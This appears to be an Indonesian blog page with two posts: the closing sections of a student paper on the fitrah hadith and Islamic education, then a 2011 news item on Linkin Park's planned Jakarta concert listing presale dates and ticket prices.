• Manusia yang dibina adalah makhluk yang memilki unsur-unsur material (jasmani) dan immaterial (ruhani/akal dan jiwa), Pembinaan akalnya menghasilkan ilmu, pembinaan jiwanya menghasilkan kesucian dan etika, sedangkan pembinaan jasmaninya menghasilkan keterampilan. Dengan penggabungan unsur-unsur tersebut, terciptalah makhluk dwi dimensi dalam satu keseimbangan, dunia dan akhirat, ilmu dan iman. Itu sebabnya dalam pendidikan Islam dikenal istilah adab al-din dan adab al-dunya. Dengan potensi tersebut mereka dapat belajar.
• Hadits-hadits diatas jika dikaitkan dengan pendidikan formal, maka seorang guru dalam membelajarkan peserta didik harus memperhatikan tahap perkembangan fisik dan psikisnya, sehingga guru dapat menggunakan metode pembelajarannya dengan tepat dan efektif.
• Guru dituntut untuk bersikap bijak di dalam memberikan penilaian terhadap peserta didiknya, karena kondisi kejiwaan dan daya nalarnya berbeda-beda.



BAB III
KESIMPULAN
1. Semua manusia dilahirkan ke dunia ini membawa fitrah, yakni naluri untuk bertauhid (Islam). Selain itu Allah berikan juga potensi-potensi untuk digunakan dalam rangka beribadah kepada Allah, dan kita diciptakan semata-mata hanya untuk beribadah kepada Allah sebagaimana firman Allah:
وَمَا خَلَقْتُ الْجِنَّ وَالْإِنْسَ إِلَّا لِيَعْبُدُونِ (56)
Dan aku tidak menciptakan jin dan manusia melainkan supaya mereka mengabdi kepada-Ku.(QS. Adz Dzaariyaat [51]: 56)
2. Dalam kehidupannya, manusia dapat dipengaruhi oleh lingkungan, baik lingkungan keluarga maupun lingkungan masyarakat. Makna أبّ dalam hadits bukan hanya bermakna orang tua saja. Tetapi mempunyai makna yang lebih luas. Ketika di rumah, seorang anak mempunyai أبّ (ayah dan ibu), ketika di sekolah mempunyai أبّ (guru), ketika bermain mempunyai أبّ (teman). Hal-hal di atas dapat mempengaruhi ke arah mana fitrah akan dibawa dan potensi-potensi yang telah Allah berikan. Oleh sebab itu, tiga potensi yang dimiliki manusia diharapkan bisa memilah dan memilih mana yang baik dan mana yang buruk.










BAB IV
DAFTAR PUSTAKA

o Muhammad Abdurrohman bin Abdurrohim Al-Mubarokafuri Abul ‘Alaa, Tuhfat Al-Ahwadzi Syarah Jami’ At Tirmidzi, (Beirut: Dar Kitab Al-‘Ilmiyah, tt),
o Ahmad Bin Ali Bin Hajar Al-Asqolani, Fathul Bari Shohih Al-Bukhori, (Kairo: Dar Al-hadits),
o Imam Al-Hafidz Zainuddin Abdulrouf Al-Manawi, Taisir Bisyarh Al-Jami’ Ash-Shogir , (Riyadh: Maktabah Imam Syafi’i, 1988 M),
o http://ikadi.org/ibrah/manusia-dilahirkan-fitrah.htm
o http://haditsshahih.blogspot.com/2009/02/proses-penciptaan-manusia.html

Linkin Park Konser di Jakarta Indonesia 21 September 2011 cuy..!!!

00.31
Linkin Park Konser di Jakarta Indonesia 21 September 2011 | Jadwal & Harga Tiket - Suka Linkin Park? Bersiaplah menonton konser band alternatif rock asal Amerika. Linkin Park dikabarkan bakal menggelar konsernya di Jakarta.

Band yang ngetop lewat lagu Numb ini rencananya akan menggelar konser bertajuk 'A Thousand Suns World Tour' pada 21 September 2011
di Gelora Bung Karno, Senayan, Jakarta.
Big Daddy Entertainment selaku pihak promotor mengatakan jika dari pihak Linkin Park-nya sendiri memang baru mengonfirmasinya sebulan ini.

“Desas-desus Linkin Park ke Indonesia memang sudah ada, cuma dia baru mengkonfirmasinya baru-baru ini,” jelas Nindy, salah satu pihak promotor Big Daddy Entertainment.

Nindy menjelaskan jika penjualan tiket presale akan dimulai pekan ini namun akan dibagi dua tahap yakni untuk member fans club Linkin Park dan untuk umum.

“Kita bikin dua bagian, yang pertama untuk member LP dan yang kedua untuk umum. Untuk member akan dimulai tanggal 16-17 Juni 2011, sedangkan non member dijual tanggal 18-19 Juni. Tentu saja ada beberapa kelas yang harganya berbeda,” papar Nindy.

Untuk harga presale member VVIP Rp4 juta, Festival Rp1,2 juta, Yellow Rp2,2 juta, Blue Rp1,650.000, Green Rp890 ribu, Purple Rp690 ribu dan Orange Rp500 ribu.

Sedangkan untuk harga presale non member VVIP Rp4 juta, Festival Rp1,2 juta, Yellow Rp2,3 juta, Blue Rp1,750.000, Green Rp920 ribu, Purple Rp720 ribu dan Orange Rp520 ribu.

Jika anda adalah salah satu penggemar Chester Bennington Cs ini, anda bisa membelinya dengan langsung datang ke Tennis Indoor, Senayan pada tanggal yang sudah ditentukan atau anda bisa membelinya secara online melalui myticket.co.id. (sumber: okezone.com)